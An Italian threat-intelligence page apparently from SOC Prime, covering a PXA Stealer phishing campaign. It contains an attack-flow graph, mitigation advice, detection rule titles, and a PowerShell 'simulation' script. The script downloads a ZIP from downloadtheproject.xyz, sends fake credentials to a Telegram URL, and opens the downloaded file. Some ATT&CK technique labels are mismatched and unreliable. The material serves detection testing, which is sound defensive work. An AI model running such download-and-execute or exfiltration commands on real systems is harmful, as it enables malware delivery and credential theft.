SOC Prime Bias: Medio

31 Mar 2026 16:58

Dal Phishing all’Esfiltrazione: Un’Analisi Approfondita su PXA Stealer

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Dal Phishing all’Esfiltrazione: Un’Analisi Approfondita su PXA Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Il rapporto descrive un forte aumento dell’attività di PXA Stealer che prende di mira le organizzazioni finanziarie all’inizio del 2026. Gli attori delle minacce diffondono archivi ZIP dannosi tramite email di phishing e si affidano a una catena di infezione a più stadi che abusa di strumenti di sistema legittimi e un interprete Python rinominato. Una volta attivo, il malware ruba credenziali del browser, password salvate e dati dei portafogli di criptovaluta, quindi esfiltra le informazioni raccolte tramite Telegram. La campagna evidenzia come gli operatori abbiano adattato il loro modo di agire dopo interruzioni precedenti in altri ecosistemi di infostealer.

Indagine

I ricercatori di CyberProof hanno ricostruito l’intera catena di attacco, a partire da un’email di phishing che consegnava un archivio Pumaproject.zip dannoso e terminando con l’esfiltrazione basata su Telegram. La loro analisi ha identificato l’abuso di Certutil per la decodifica, una copia di WinRAR camuffata come picture.png per l’estrazione, una cartella Dots nascosta e un interprete Python svchost.exe rinominato usato per avviare uno script offuscato legato a un identificatore di bot. La persistenza è mantenuta tramite una voce nel registro di sistema.

Mitigazione

I difensori dovrebbero identificare allegati di archivi sospetti, monitorare l’esecuzione di script e LOLBins noti da percorsi inaspettati, e bloccare il traffico in uscita verso Telegram e TLD insoliti come .shop and .xyz. I team di sicurezza dovrebbero anche rinforzare i gateway di posta elettronica e applicare controlli rigorosi sull’esecuzione di file di Office e contenuti basati su script.

Risposta

Quando viene rilevato PXA Stealer, isolare il dispositivo compromesso, catturare prove volatili e cercare i file artefatti di riferimento e modifiche al registro. Rimuovere i file dannosi, terminare i processi interessati e ripristinare eventuali credenziali esposte. I team dovrebbero quindi eseguire un’indagine più ampia per cercare indicatori corrispondenti nell’ambiente e notificare le parti interessate.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["<b>File</b> – Pumaproject.zip<br/><b>Contains</b>: Document.docx.exe"] class file_zip file action_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["<b>Process</b> – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["<b>Action</b> – <b>T1574 Hijack Execution Flow</b><br/>Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["<b>Process</b> – inter.cmd"] class process_inter_cmd process tool_certutil["<b>Tool</b> – certutil.exe<br/><b>Purpose</b>: Decode base64 content"] class tool_certutil tool file_shodan_pdf["<b>File</b> – Shodan.pdf<br/><b>Contains</b>: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Description: certutil decodes the payload."] class action_decode action action_hidden_dir["<b>Action</b> – <b>T1564.001 Hidden Files and Directories</b><br/>Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["<b>File</b> – Dots (hidden directory)"] class file_hidden_dir file action_relocate["<b>Action</b> – <b>T1070.010 Indicator Removal: Relocate Malware</b><br/>Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["<b>Action</b> – <b>T1027.015 Compression</b><br/>Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["<b>Tool</b> – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["<b>File</b> – Password protected archive (shodan2201)"] class file_archive file action_rc_script["<b>Action</b> – <b>T1037.004 RC Scripts</b><br/>Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["<b>Process</b> – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["<b>Action</b> – <b>T1547.014 Active Setup</b><br/>Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["<b>Action</b> – <b>T1546.015 COM Hijacking</b><br/>Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b><br/>Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["<b>Action</b> – <b>T1539 Steal Web Session Cookie</b><br/>Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture: Keylogging</b><br/>Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b>

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[“<b>Azione</b> – <b>T1566.001 Phishing: Allegato a Obiettivo Spear</b><br/>Descrizione: Email con ZIP dannoso (Pumaproject.zip) contenente Document.docx.exe.”] class action_phishing action file_zip[“<b>File</b> – Pumaproject.zip<br/><b>Contiene</b>: Document.docx.exe”] class file_zip file action_user_exec[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File dannoso</b><br/>Descrizione: La vittima apre l’eseguibile allegato.”] class action_user_exec action process_malicious_exe[“<b>Processo</b> – Document.docx.exe”] class process_malicious_exe process action_execution_hijack[“<b>Azione</b> – <b>T1574 Dirottamento del Flusso di Esecuzione</b><br/>Descrizione: Avvia inter.cmd e utilizza certutil per decodificare il payload da Shodan.pdf.”] class action_execution_hijack action process_inter_cmd[“<b>Processo</b> – inter.cmd”] class process_inter_cmd process tool_certutil[“<b>Strumento</b> – certutil.exe<br/><b>Scopo</b>: Decodificare contenuto base64”] class tool_certutil tool file_shodan_pdf[“<b>File</b> – Shodan.pdf<br/><b>Contiene</b>: Payload codificato in base64”] class file_shodan_pdf file action_defense_embedded[“<b>Azione</b> – <b>T1027.009 Payload Incorporati</b><br/>Descrizione: Payload nascosto all’interno del file PDF.”] class action_defense_embedded action action_decode[“<b>Azione</b> – <b>T1140 Deoffuscare/Decodificare File o Informazione</b><br/>Descrizione: Certutil decodifica il payload.”] class action_decode action action_hidden_dir[“<b>Azione</b> – <b>T1564.001 File e Directory Nascoste</b><br/>Descrizione: Il malware crea la cartella nascosta “Dots” per file intermedi.”] class action_hidden_dir action file_hidden_dir[“<b>File</b> – Dots (directory nascosta)”] class file_hidden_dir file action_relocate[“<b>Azione</b> – <b>T1070.010 Rimozione di Indicatori: Ricollocare Malware</b><br/>Descrizione: Sposta i file dannosi nella directory nascosta “Dots”.”] class action_relocate action action_compression[“<b>Azione</b> – <b>T1027.015 Compressione</b><br/>Descrizione: WinRAR camuffato come picture.png estrae l’archivio protetto da password (password shodan2201).”] class action_compression action tool_winar[“<b>Strumento</b> – WinRAR (rinominato picture.png)”] class tool_winar tool file_archive[“<b>File</b> – Archivio protetto da password (shodan2201)”] class file_archive file action_rc_script[“<b>Azione</b> – <b>T1037.004 Script RC</b><br/>Descrizione: Python portatile eliminato, rinominato in svchost.exe ed eseguito con argomento $BOT_ID.”] class action_rc_script action process_svc_host[“<b>Processo</b> – svchost.exe (interprete Python malevolo)”] class process_svc_host process action_active_setup[“<b>Azione</b> – <b>T1547.014 Configurazione Attiva</b><br/>Descrizione: Voce di registro aggiunta per eseguire svchost.exe all’avvio.”] class action_active_setup action action_com_hijack[“<b>Azione</b> – <b>T1546.015 Dirottamento COM</b><br/>Descrizione: Voce di registro di dirottamento COM creata per esecuzione automatica.”] class action_com_hijack action action_cred_browser[“<b>Azione</b> – <b>T1555.003 Credenziali da Browser Web</b><br/>Descrizione: Si inserisce nei browser per rubare password, cookie, dati di portafogli di criptovaluta.”] class action_cred_browser action action_cred_cookies[“<b>Azione</b> – <b>T1539 Rubare Cookie di Sessione Web</b><br/>Descrizione: Estrae cookie di sessione web per riutilizzo.”] class action_cred_cookies action action_keylogging[“<b>Azione</b> – <b>T1056.001 Cattura di Input: Keylogging</b><br/>Descrizione: Cattura digitazioni dall’utente.”] class action_keylogging action action_exfil_telegram[“<b>Azione</b> – <b>T1567 Esfiltrazione Tramite Servizio Web</b><br/>Descrizione: Invia dati raccolti a canali Telegram controllati dagli attaccanti.”] class action_exfil_telegram exfil action_exfil_c2[“<b>Azione</b> – <b>T1041 Esfiltrazione Tramite Canale C2</b><br/>Descrizione: Utilizza Telegram come canale C2 ed esfiltrazione.”] class action_exfil_c2 exfil %% Connections action_phishing –>|consegna| file_zip file_zip –>|esegue| action_user_exec action_user_exec –>|esegue| process_malicious_exe process_malicious_exe –>|avvia| action_execution_hijack action_execution_hijack –>|fa partire| process_inter_cmd process_inter_cmd –>|usa| tool_certutil tool_certutil –>|decodifica| file_shodan_pdf file_shodan_pdf –>|contiene| action_defense_embedded action_defense_embedded –>|attiva| action_decode action_decode –>|crea| action_hidden_dir action_hidden_dir –>|crea| file_hidden_dir action_hidden_dir –>|immagazzina| action_relocate action_relocate –>|sposta file in| file_hidden_dir action_relocate –>|porta a| action_compression action_compression –>|usa| tool_winar tool_winar –>|estrae| file_archive file_archive –>|fornisce| action_rc_script action_rc_script –>|esegue| process_svc_host process_svc_host –>|stabilisce| action_active_setup process_svc_host –>|stabilisce| action_com_hijack process_svc_host –>|abilita| action_cred_browser process_svc_host –>|abilita| action_cred_cookies process_svc_host –>|abilita| action_keylogging action_keylogging –>|fornisce dati a| action_exfil_telegram action_cred_browser –>|fornisce dati a| action_exfil_telegram action_cred_cookies –>|fornisce dati a| action_exfil_telegram action_exfil_telegram –>|usa canale| action_exfil_c2

Flusso di Attacco

Rilevazioni

Esecuzione di Processi di Sistema da Percorsi Atipici (via creazione_processo)

Team SOC Prime
31 Mar 2026

Comando e Controllo Sospetto tramite Richiesta DNS di Dominio di Primo Livello (TLD) Insolito (via dns)

Team SOC Prime
31 Mar 2026

Esecuzione Sospetta dal Profilo Utente Pubblico (via creazione_processo)

Team SOC Prime
31 Mar 2026

Estensione Insolita di Binario Eseguibile (via creazione_processo)

Team SOC Prime
31 Mar 2026

File Sospetti nel Profilo Utente Pubblico (via evento_file)

Team SOC Prime
31 Mar 2026

Utilizzo di Certutil per Codificazione Dati e Operazioni Cert (via cmdline)

Team SOC Prime
31 Mar 2026

IOC (HashMd5) per rilevare: Dal Phishing all’Esfiltrazione: Un Approfondimento su PXA Stealer Parte 2

Regole AI SOC Prime
31 Mar 2026

IOC (DestinationIP) per rilevare: Dal Phishing all’Esfiltrazione: Un Approfondimento su PXA Stealer

Regole AI SOC Prime
31 Mar 2026

IOC (HashMd5) per rilevare: Dal Phishing all’Esfiltrazione: Un Approfondimento su PXA Stealer Parte 1

Regole AI SOC Prime
31 Mar 2026

IOC (SourceIP) per rilevare: Dal Phishing all’Esfiltrazione: Un Approfondimento su PXA Stealer

Regole AI SOC Prime
31 Mar 2026

IOC (HashSha256) per rilevare: Dal Phishing all’Esfiltrazione: Un Approfondimento su PXA Stealer

Regole AI SOC Prime
31 Mar 2026

Rilevamento Attività di Esecuzione PXA Stealer [Creazione Processo Windows]

Regole AI SOC Prime
31 Mar 2026

Rileva Connessioni in Uscita di PXA Stealer [Connessione di Rete Windows]

Regole AI SOC Prime
31 Mar 2026

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta attesa dalla logica di rilevamento.

  • Narrativa dell’Attacco e Comandi:
    L’attore della minaccia distribuisce il PXA Stealer su un host Windows compromesso. Dopo che l’utente esegue inconsapevolmente il binario dannoso iniziale (T1204.002), lo stealer esegue uno snippet di PowerShell che:

    1. Scarica uno ZIP dannoso dal dominio hard-coded downloadtheproject.xyz (T1202 – esecuzione di comando indiretto).
    2. Esfiltra i dati raccolti inviando un messaggio a un canale Telegram via t.me (T1559.002 – link di phishing).
    3. Carica opzionalmente un componente COM dannoso per ottenere persistenza (T1127.002).

    Sia le richieste HTTP GET in uscita sia il DestinationDomain osservati dalla regola Sigma, causano un’allerta.

  • Script di Test di Regressione:

    # Simulazione di PXA Stealer – attiva la regola di rilevamento
    $tmpZip = "$env:TEMPpayload.zip"
    $tmpMsg = "$env:TEMPsteal.txt"
    
    # 1. Scarica ZIP dannoso dal primo dominio dannoso
    Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing
    
    # 2. Simula esfiltrazione dei dati via link Telegram
    $payload = "User credentials: admin / Pass123!"
    Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
    Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing
    
    # 3. (Opzionale) Carica un oggetto COM fittizio per emulare T1127.002
    try {
        $com = New-Object -ComObject "Shell.Application"
        $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
    } catch {
        # Ignora errori – è solo per telemetria
    }
  • Comandi di Pulizia:

    # Rimuovi artefatti creati dalla simulazione
    Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
    Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue